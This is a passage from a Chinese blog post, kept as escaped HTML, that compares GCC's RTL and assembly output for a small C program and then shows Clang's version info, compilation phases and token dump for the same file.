&lt;p&gt;回到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;jump_insn，如果&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;r17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，就说明&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不等于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40（对应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a+2!=42&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，跳到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label(11)：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;common-lisp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(code_label &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11 10 12 5 2&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;) [1 uses])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果等于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40，就会顺序执行，接下来是一句&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;call&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语句，这和汇编也很像：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;common-lisp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(call_insn &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10 9 11 4&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt;:SI &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; ax)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        (call (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span&gt;:QI (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;symbol_ref&lt;&#x2F;span&gt;&lt;span&gt;:DI (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) [flags 0x41]  &amp;lt;function_decl 0x7fbd3fe12200 puts&amp;gt;) [0 __builtin_puts S1 A8])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            (const_int &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; [0]))) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:7:9 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;expr_list&lt;&#x2F;span&gt;&lt;span&gt;:DI (use (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt;:DI &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt; di))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很容易看清是从符号表（PLT）里找&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;去调用&lt;&#x2F;p&gt;
&lt;p&gt;这一段执行之后就到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label(11)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;用前面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.cfg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的风格写一下这段&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的伪代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;compare&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  goto&lt;&#x2F;span&gt;&lt;span&gt; label11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  NULL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;call&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;label11:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看生成的目标代码（汇编代码&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：gcc –S
hello.c –o hello.&lt;&#x2F;p&gt;
&lt;p&gt;看了这么长可能已经忘了一直在对比的源码了，这里我把它再贴出来：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;汇编没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那一堆括号清爽多了，if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语句对应的就是这几句：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;asm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  cmpl  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$40&lt;&#x2F;span&gt;&lt;span&gt;, -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;(%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;)    &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 对应RTL里一长串virtual-stack-vars……-4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  jne&lt;&#x2F;span&gt;&lt;span&gt;   .L2              &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 对应RTL里的jump_insn，gimple里的goto，实际程序的if&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  leaq  .LC0(%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rip&lt;&#x2F;span&gt;&lt;span&gt;), %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; ; 把字符串地址放到寄存器里&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  call&lt;&#x2F;span&gt;&lt;span&gt;  puts@PLT         &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 调用puts函数（从PLT里找），参数就是上一步的rdi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;L2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;                     ; 这就是a != 40跳转的地方，源程序就return 0了&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  movl  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$0&lt;&#x2F;span&gt;&lt;span&gt;, %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;         ; 准备好0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  leave&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  .cfi_def_cfa &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  ret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;                    ; 把0 return出去&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  .cfi_endproc           &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 程序到此结束&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;LLVM运行结果分析&quot;&gt;LLVM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;运行结果分析&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查看编译器的版本&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; clang&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --version&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;clang&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; version&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 9.0.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;Target:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; x86_64-pc-linux-gnu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;Thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; model: posix&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;InstalledDir:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &#x2F;usr&#x2F;bin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用编译器编译单个文件&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;clang&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; test.c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用编译器编译链接多个文件&lt;&#x2F;p&gt;
&lt;p&gt;还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时那两个文件，一样的操作，只不过把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;换成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clang&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;clang-link-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-link-fs8.4a8400b53d3c0600.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-link-fs8.d61d9d3fab683659.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-link-fs8.ed76abfc82fd6692.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-link-fs8.d61d9d3fab683659.webp&quot;
	alt=&quot;clang-link&quot;
	
	
	height=&quot;1080&quot;
	width=&quot;1920&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看编译流程和阶段：clang -ccc-print-phases test.c -c&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; clang&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -ccc-print-phases&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;0:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; input,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;, c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;1:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; preprocessor, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}, cpp-output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;2:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; compiler, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}, ir&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;3:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; backend, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}, assembler&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;4:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; assembler, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}, object&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看词法分析结果：clang test.c -Xclang -dump-tokens -c&lt;&#x2F;p&gt;
&lt;p&gt;打印出来很长，因为它把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;stdio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的代码也进行词法分析了，这里只截取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
